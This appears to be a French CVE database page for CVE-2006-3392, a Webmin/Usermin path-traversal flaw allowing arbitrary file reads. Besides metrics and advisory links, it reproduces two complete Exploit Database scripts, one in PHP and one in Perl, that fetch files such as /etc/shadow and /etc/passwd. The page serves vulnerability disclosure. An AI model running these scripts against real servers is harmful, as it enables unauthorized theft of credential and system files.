CVE-2006-3392 : Détail

CVE-2006-3392

95.86%V3
Network
2006-07-06
18h00 +00:00
2018-10-18
12h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1997

Date de publication : 2006-07-08 22h00 +00:00
Auteur : joffer
EDB Vérifié : Yes

<?php /* Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability Date : 2006-06-30 Patch : update to version 1.290 Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html Coded by joffer , http://securitydot.net */ $host = $argv[1]; $port = $argv[2]; $http = $argv[3]; $file = $argv[4]; // CHECKING THE INPUT if($host != "" && $port != "" && $http != "" && $file != "") { $z = "/..%01"; for ($i=0;$i<60;$i++) { $z.="/..%01"; } $target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file.""; echo "Attacking ".$host."\n"; echo "---------------------------------\n"; // INITIALIZING CURL SESSION TO THE TARGET $ch = curl_init(); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $target); curl_setopt ($ch, CURLOPT_TIMEOUT, '10'); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE); $content = curl_exec($ch); curl_close ($ch); // CLOSING CURL // ECHOING THE CONTENT OF THE $FILE echo $content; echo "---------------------------------\n"; echo "Coded by joffer , http://securitydot.net\n"; } else { // IF INPUT IS NOT CORRECT DISPLAY THE README echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n"; echo "Example : php webmin.php localhost 10000 http /etc/shadow\n"; echo "Coded by joffer , http://securitydot.net\n"; } ?> # milw0rm.com [2006-07-09]
Exploit Database EDB-ID : 2017

Date de publication : 2006-07-14 22h00 +00:00
Auteur : UmZ
EDB Vérifié : Yes

#!/usr/bin/perl # Exploit for WEBMIN and USERMIN less than 1.29x # ARBITARY REMOTE FILE DISCLOSURE # WORKS FOR HTTP AND HTTPS (NOW) # Thrusday 13th July 2006 # Vulnerability Disclosure at securitydot.net # Coded by UmZ! umz32.dll _at_ gmail.com # # # # Make sure you have LWP before using this exploit. # USE IT AT YOUR OWN RISK # # GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................ # for other.. like AHMED n FAIZ ... (GET A LIFE MAN). # Revised on Friday 14th July 2006 use LWP::Simple; use LWP::UserAgent; my $userag = LWP::UserAgent->new; if (@ARGV < 4) { print("Usage: $0 <url> <port> <filename> <target> \n"); print("TARGETS are\n "); print("0 - > HTTP \n"); print(" 1 - > HTTPS\n"); print("Define full path with file name \n"); print("Example: ./webmin.pl blah.com 10000 /etc/passwd\n"); exit(1); } ($target, $port,$filename, $tar) = @ARGV; print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n"); print("Comments and Suggestions are welcome at umz32.dll [at] gmail.com\n"); print("Vulnerability disclose at securitydot.net\nI am just coding it in perl 'cuz I hate PHP!\n"); print("Attacking $target on port $port!\n"); print("FILENAME: $filename\n"); $temp="/..%01" x 40; if ($tar == '0') { my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename; $content=get $url; print("\n FILE CONTENT STARTED"); print("\n -----------------------------------\n"); print("$content"); print("\n -------------------------------------\n"); } elsif ($tar == '1') { my $url= "https://". $target. ":" . $port ."/unauthenticated/".$temp . $filename; my $req = HTTP::Request->new(GET => $url); my $res = $userag->request($req); if ($res->is_success) { print("FILE CONTENT STARTED\n"); print("-------------------------------------------\n"); print $res->as_string; print("-------------------------------------------\n"); } else { print "Failed: ", $res->status_line, "\n"; } } # milw0rm.com [2006-07-15]

Products Mentioned

Configuraton 0

Usermin>>Usermin >> Version To (including) 1.210

    Webmin>>Webmin >> Version To (including) 1.2.80

    Références

    http://secunia.com/advisories/21365
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://security.gentoo.org/glsa/glsa-200608-11.xml
    Tags : vendor-advisory, x_refsource_GENTOO
    http://www.webmin.com/changes.html
    Tags : x_refsource_CONFIRM
    http://secunia.com/advisories/21105
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securityfocus.com/bid/18744
    Tags : vdb-entry, x_refsource_BID
    http://www.kb.cert.org/vuls/id/999601
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://www.debian.org/security/2006/dsa-1199
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://secunia.com/advisories/20892
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.mandriva.com/security/advisories?name=MDKSA-2006:125
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.vupen.com/english/advisories/2006/2612
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.osvdb.org/26772
    Tags : vdb-entry, x_refsource_OSVDB
    http://secunia.com/advisories/22556
    Tags : third-party-advisory, x_refsource_SECUNIA